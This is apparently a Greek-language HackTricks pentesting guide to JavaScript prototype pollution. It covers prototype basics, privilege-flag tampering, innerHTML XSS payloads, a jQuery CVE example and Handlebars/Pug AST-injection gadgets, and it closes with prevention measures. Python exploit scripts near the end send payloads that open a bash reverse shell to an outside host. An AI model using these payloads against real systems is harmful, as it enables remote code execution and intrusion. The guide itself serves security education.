NodeJS - __proto__ & prototype Pollution

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αντικείμενα στο JavaScript

Τα αντικείμενα στο JavaScript είναι ουσιαστικά συλλογές ζευγών κλειδιών-τιμών, γνωστά ως ιδιότητες. Ένα αντικείμενο μπορεί να δημιουργηθεί χρησιμοποιώντας το Object.create με null ως όρισμα για να παράγει ένα κενό αντικείμενο. Αυτή η μέθοδος επιτρέπει τη δημιουργία ενός αντικειμένου χωρίς κληρονομημένες ιδιότητες.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Ένα κενό αντικείμενο είναι παρόμοιο με ένα κενό λεξικό, αναπαριστάται ως {}.

Συναρτήσεις και Κλάσεις στο JavaScript

Στο JavaScript, οι κλάσεις και οι συναρτήσεις είναι στενά συνδεδεμένες, με τις συναρτήσεις συχνά να λειτουργούν ως κατασκευαστές για τις κλάσεις. Παρά την έλλειψη υποστήριξης των κλάσεων στη γλώσσα, οι κατασκευαστές μπορούν να προσομοιώσουν τη συμπεριφορά των κλάσεων.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Πρωτότυπα στο JavaScript

Το JavaScript επιτρέπει την τροποποίηση, προσθήκη ή διαγραφή των χαρακτηριστικών προτύπου κατά τη διάρκεια εκτέλεσης. Αυτή η ευελιξία επιτρέπει τη δυναμική επέκταση των λειτουργιών της κλάσης.

Συναρτήσεις όπως toString και valueOf μπορούν να τροποποιηθούν για να αλλάξουν τη συμπεριφορά τους, επιδεικνύοντας την προσαρμοστική φύση του συστήματος προτύπων του JavaScript.

Κληρονομιά

Στην προσανατολισμένη σε πρωτότυπα προγραμματιστική, τα χαρακτηριστικά/μέθοδοι κληρονομούνται από αντικείμενα από κλάσεις. Αυτές οι κλάσεις δημιουργούνται προσθέτοντας χαρακτηριστικά/μεθόδους είτε σε ένα παράδειγμα μιας άλλης κλάσης είτε σε ένα κενό αντικείμενο.

Να σημειωθεί ότι όταν προστίθεται ένα χαρακτηριστικό σε ένα αντικείμενο που λειτουργεί ως πρότυπο για άλλα αντικείμενα (όπως το myPersonObj), τα κληρονομούντα αντικείμενα έχουν πρόσβαση σε αυτό το νέο χαρακτηριστικό. Ωστόσο, αυτό το χαρακτηριστικό δεν εμφανίζεται αυτόματα εκτός αν κληθεί ρητά.

Ρύπανση __proto__

Εξερεύνηση της Ρύπανσης του Προτύπου στο JavaScript

Τα αντικείμενα του JavaScript ορίζονται από ζεύγη κλειδιών-τιμών και κληρονομούν από το πρότυπο Αντικειμένου του JavaScript. Αυτό σημαίνει ότι η τροποποίηση του προτύπου Αντικειμένου μπορεί να επηρεάσει όλα τα αντικείμενα στο περιβάλλον.

Ας χρησιμοποιήσουμε ένα διαφορετικό παράδειγμα για να εξηγήσουμε:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Η πρόσβαση στο πρωτότυπο του Object είναι δυνατή μέσω:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Προσθέτοντας ιδιότητες στο πρότυπο του Object, κάθε αντικείμενο JavaScript θα κληρονομήσει αυτές τις νέες ιδιότητες:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

Ρύπανση πρωτοτύπου

Για ένα σενάριο όπου η χρήση του __proto__ είναι περιορισμένη, η τροποποίηση του πρωτοτύπου μιας συνάρτησης είναι μια εναλλακτική λύση:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Αυτό επηρεάζει μόνο τα αντικείμενα που δημιουργήθηκαν από τον κατασκευαστή Vehicle, δίνοντάς τους τις ιδιότητες beep, hasWheels, honk και isElectric.

Δύο μέθοδοι για να επηρεάσετε παγκοσμίως τα αντικείμενα JavaScript μέσω της μόλυνσης του πρωτοτύπου περιλαμβάνουν:

  1. Μόλυνση του Object.prototype απευθείας:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Ρύπανση του πρωτοτύπου ενός κατασκευαστή για μια συχνά χρησιμοποιούμενη δομή:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Μετά από αυτές τις λειτουργίες, κάθε αντικείμενο JavaScript μπορεί να εκτελέσει τις μεθόδους goodbye και greet.

Ρύπανση άλλων αντικειμένων

Από έναν τύπο στο Object.prototype

Σε ένα σενάριο όπου μπορείτε να ρυπάνε ένα συγκεκριμένο αντικείμενο και χρειάζεστε να φτάσετε στο Object.prototype μπορείτε να το αναζητήσετε με κάτι παρόμοιο με τον παρακάτω κώδικα:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Ρύπανση στοιχείων πίνακα

Σημειώστε ότι καθώς μπορείτε να ρυπάνετε τα χαρακτηριστικά των αντικειμένων στο JS, αν έχετε πρόσβαση να ρυπάνετε έναν πίνακα μπορείτε επίσης να ρυπάνετε τις τιμές του πίνακα προσβάσιμες με δείκτες (σημειώστε ότι δεν μπορείτε να αντικαταστήσετε τις τιμές, οπότε πρέπει να ρυπάνετε δείκτες που χρησιμοποιούνται κάπως αλλά δεν είναι εγγεγραμμένοι).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Ρύπανση στοιχείων Html

Κατά τη δημιουργία ενός στοιχείου HTML μέσω JS είναι δυνατόν να αντικατασταθεί το χαρακτηριστικό innerHTML για να γράψει οποιοδήποτε κώδικα HTML. Ιδέα και παράδειγμα από αυτήν την ανάλυση.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Παραδείγματα

Βασικό Παράδειγμα

Η ρύπανση του πρωτοτύπου συμβαίνει λόγω μιας αδυναμίας στην εφαρμογή που επιτρέπει την αντικατάσταση ιδιοτήτων στο Object.prototype. Αυτό σημαίνει ότι αφού οι περισσότερες αντικείμενα προέρχονται από το Object.prototype

Το πιο εύκολο παράδειγμα είναι να προστεθεί μια τιμή σε μια απροσδιόριστη ιδιότητα ενός αντικειμένου που θα ελεγχθεί, όπως:

if (user.admin) {

Εάν το χαρακτηριστικό admin είναι απροσδιόριστο, είναι δυνατόν να εκμεταλλευτείτε μια PP και να το ορίσετε σε True με κάτι σαν:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Η μηχανική πίσω από αυτό περιλαμβάνει τη χειραγώγηση ιδιοτήτων έτσι ώστε αν ένας επιτιθέμενος έχει έλεγχο πάνω σε συγκεκριμένες εισόδους, μπορεί να τροποποιήσει το πρότυπο όλων των αντικειμένων στην εφαρμογή. Αυτή η χειραγώγηση συνήθως περιλαμβάνει την ρύθμιση της ιδιότητας __proto__, η οποία, στην JavaScript, είναι συνώνυμη με την άμεση τροποποίηση του προτύπου ενός αντικειμένου.

Οι συνθήκες υπό τις οποίες μπορεί να εκτελεστεί με επιτυχία αυτή η επίθεση, όπως περιγράφεται σε μια συγκεκριμένη μελέτη, περιλαμβάνουν:

  • Εκτέλεση αναδρομικής συγχώνευσης.

  • Ορισμός ιδιοτήτων με βάση ένα μονοπάτι.

  • Αντιγραφή αντικειμένων.

Αντικατάσταση συνάρτησης

customer.__proto__.toString = ()=>{alert("polluted")}

Ρύθμιση του Proto Pollution για RCE

pagePrototype Pollution to RCE

Άλλα φορτία:

Πρωτότυπη ρύθμιση προς XSS στην πλευρά του πελάτη

pageClient Side Prototype Pollution

CVE-2019–11358: Επίθεση προσβολής πρωτοτύπου μέσω του jQuery $ .extend

Για περισσότερες λεπτομέρειες ελέγξτε αυτό το άρθρο Στο jQuery, η λειτουργία $ .extend μπορεί να οδηγήσει σε ρύθμιση πρωτοτύπου εάν η λειτουργία αντιγράφου βάθους χρησιμοποιείται εσφαλμένα. Αυτή η λειτουργία χρησιμοποιείται συνήθως για την αντιγραφή αντικειμένων ή τη συγχώνευση ιδιοτήτων από ένα προεπιλεγμένο αντικείμενο. Ωστόσο, όταν ρυθμιστεί εσφαλμένα, οι ιδιότητες που προορίζονται για ένα νέο αντικείμενο μπορούν να ανατεθούν στο πρωτότυπο αντί αυτού. Για παράδειγμα:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Αυτή η ευπάθεια, που αναγνωρίζεται ως CVE-2019–11358, επιδεικνύει πώς ένα βαθύ αντίγραφο μπορεί ακούσια να τροποποιήσει το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφάλειας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή εάν ιδιότητες όπως το isAdmin ελέγχονται χωρίς τη σωστή επαλήθευση ύπαρξης.

CVE-2018–3721, CVE-2019–10744: Επίθεση πρωτότυπης ρύπανσης μέσω του lodash

Για περισσότερες λεπτομέρειες ελέγξτε αυτό το άρθρο

Το Lodash αντιμετώπισε παρόμοιες ευπάθειες πρωτότυπης ρύπανσης (CVE-2018–3721, CVE-2019–10744). Αυτά τα θέματα αντιμετωπίστηκαν στην έκδοση 4.17.11.

Άλλος οδηγός με CVEs

Εργαλεία για τον εντοπισμό Πρωτότυπης Ρύπανσης

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Επέκταση του Burp Suite σχεδιασμένη για τον εντοπισμό και την ανάλυση ευπαθειών πρωτότυπης ρύπανσης στις εφαρμογές web. Αυτό το εργαλείο αυτοματοποιεί τη διαδικασία σάρωσης αιτημάτων για τον εντοπισμό πιθανών προβλημάτων πρωτότυπης ρύπανσης. Εκμεταλλεύεται γνωστά gadgets - μεθόδους εκμετάλλευσης της πρωτότυπης ρύπανσης για την εκτέλεση επιβλαβών ενεργειών - εστιάζοντας ιδιαίτερα σε βιβλιοθήκες Node.js.

  • server-side-prototype-pollution: Αυτή η επέκταση εντοπίζει ευπαθείες πρωτότυπης ρύπανσης στην πλευρά του διακομιστή. Χρησιμοποιεί τεχνικές που περιγράφονται στην ερευνητική εργασία για την πρωτότυπη ρύπανση στην πλευρά του διακομιστή.

Πρωτότυπη Ρύπανση AST στο NodeJS

Το NodeJS χρησιμοποιεί εκτεταμένα Δέντρα Αφαιρετικής Σύνταξης (AST) στη JavaScript για λειτουργίες όπως οι μηχανές προτύπων και το TypeScript. Αυτή η ενότητα εξετάζει τις ευπαθείες που σχετίζονται με την πρωτότυπη ρύπανση στις μηχανές προτύπων, ειδικά στα Handlebars και Pug.

Ανάλυση Ευπαθειών Handlebars

Η μηχανή προτύπων Handlebars είναι ευάλωτη σε μια επίθεση πρωτότυπης ρύπανσης. Αυτή η ευπαθεια προκύπτει από συγκεκριμένες λειτουργίες εντός του αρχείου javascript-compiler.js. Για παράδειγμα, η λειτουργία appendContent ενώνει το pendingContent αν είναι παρόν, ενώ η λειτουργία pushSource επαναφέρει το pendingContent σε undefined μετά την προσθήκη της πηγής.

Διαδικασία Εκμετάλλευσης

Η εκμετάλλευση χρησιμοποιεί το AST (Δέντρο Αφαιρετικής Σύνταξης) που παράγεται από το Handlebars, ακολουθώντας αυτά τα βήματα:

  1. Ανακατεύθυνση του Αναλυτή: Αρχικά, ο αναλυτής, μέσω του κόμβου NumberLiteral, επιβάλλει ότι οι τιμές είναι αριθμητικές. Η πρωτότυπη ρύπανση μπορεί να παρακάμψει αυτό, επιτρέποντας την εισαγωγή μη αριθμητικών συμβόλων.

  2. Χειρισμός από τον Μεταγλωττιστή: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Αν το input.type ισούται με Program, το εισερχόμενο χειρίζεται ως προεπεξεργασμένο, το οποίο μπορεί να εκμεταλλευτείται.

  3. Εισαγωγή Κώδικα: Μέσω της ανακατεύθυνσης του Object.prototype, μπορεί κανείς να εισάγει αυθαίρετο κώδικα στη λειτουργία προτύπου, ο οποίος μπορεί να οδηγήσει σε εκτέλεση κώδικα από απόσταση.

Ένα παράδειγμα που δείχνει την εκμετάλλευση της ευπαθείας του Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Αυτός ο κώδικας δείχνει πώς ένας επιτιθέμενος θα μπορούσε να εισάγει αυθαίρετο κώδικα σε ένα πρότυπο Handlebars.

Εξωτερική Αναφορά: Βρέθηκε ένα πρόβλημα που σχετίζεται με τη ρύθμιση προτύπου στη βιβλιοθήκη 'flat', όπως περιγράφεται εδώ: Πρόβλημα στο GitHub.

Εξωτερική Αναφορά: Πρόβλημα που σχετίζεται με τη ρύθμιση προτύπου στη βιβλιοθήκη 'flat'

Παράδειγμα εκμετάλλευσης της ρύθμισης προτύπου σε Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Ευπάθεια Pug

Το Pug, ένας άλλος μηχανισμός προτύπου, αντιμετωπίζει ένα παρόμοιο κίνδυνο προσβολής του προτύπου. Λεπτομερείς πληροφορίες είναι διαθέσιμες στη συζήτηση για την Εισαγωγή AST στο Pug.

Παράδειγμα προσβολής προτύπου στο Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Προληπτικά Μέτρα

Για να μειωθεί ο κίνδυνος πρόσκρουσης πρωτοτύπου, μπορούν να χρησιμοποιηθούν οι στρατηγικές που αναφέρονται παρακάτω:

  1. Αναλλοίωτα Αντικείμενα: Το Object.prototype μπορεί να γίνει αναλλοίωτο εφαρμόζοντας το Object.freeze.

  2. Επικύρωση Εισόδου: Τα JSON εισαγωγικά πρέπει να ελέγχονται αυστηρά έναντι του σχήματος της εφαρμογής.

  3. Ασφαλείς Συναρμολογικές Συναρμογές: Πρέπει να αποφεύγεται η ανασφαλής χρήση αναδρομικών συναρμολογικών συναρμογών.

  4. Αντικείμενα Χωρίς Πρωτότυπο: Μπορούν να δημιουργηθούν αντικείμενα χωρίς ιδιότητες πρωτοτύπου χρησιμοποιώντας το Object.create(null).

  5. Χρήση του Map: Αντί για Object, πρέπει να χρησιμοποιείται το Map για την αποθήκευση ζευγών κλειδιού-τιμής.

  6. Ενημερώσεις Βιβλιοθήκης: Οι ενημερώσεις ασφαλείας μπορούν να ενσωματωθούν με την τακτική ενημέρωση των βιβλιοθηκών.

  7. Εργαλεία Ελέγχου Κώδικα και Στατικής Ανάλυσης: Χρησιμοποιήστε εργαλεία όπως το ESLint με τα κατάλληλα πρόσθετα για τον εντοπισμό και την πρόληψη ευπάθειας πρόσκρουσης πρωτοτύπου.

  8. Αναθεωρήσεις Κώδικα: Εφαρμόστε λεπτομερείς αναθεωρήσεις κώδικα για την εντοπισμό και την αντιμετώπιση πιθανών κινδύνων που σχετίζονται με την πρόσκρουση πρωτοτύπου.

  9. Εκπαίδευση Ασφάλειας: Εκπαιδεύστε τους προγραμματιστές σχετικά με τους κινδύνους της πρόσκρουσης πρωτοτύπου και τις βέλτιστες πρακτικές για τη συγγραφή ασφαλούς κώδικα.

  10. Χρήση Βιβλιοθηκών με Προσοχή: Να είστε προσεκτικοί κατά τη χρήση βιβλιοθηκών τρίτων. Αξιολογήστε τη θέση της ασφάλειάς τους και ελέγξτε τον κώδικά τους, ειδικά αυτούς που χειρίζονται αντικείμενα.

  11. Προστασία Εκτέλεσης: Χρησιμοποιήστε μηχανισμούς προστασίας εκτέλεσης, όπως η χρήση πακέτων npm με εστίαση στην ασφάλεια που μπορούν να ανιχνεύσουν και να προλάβουν επιθέσεις πρόσκρουσης πρωτοτύπου.

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated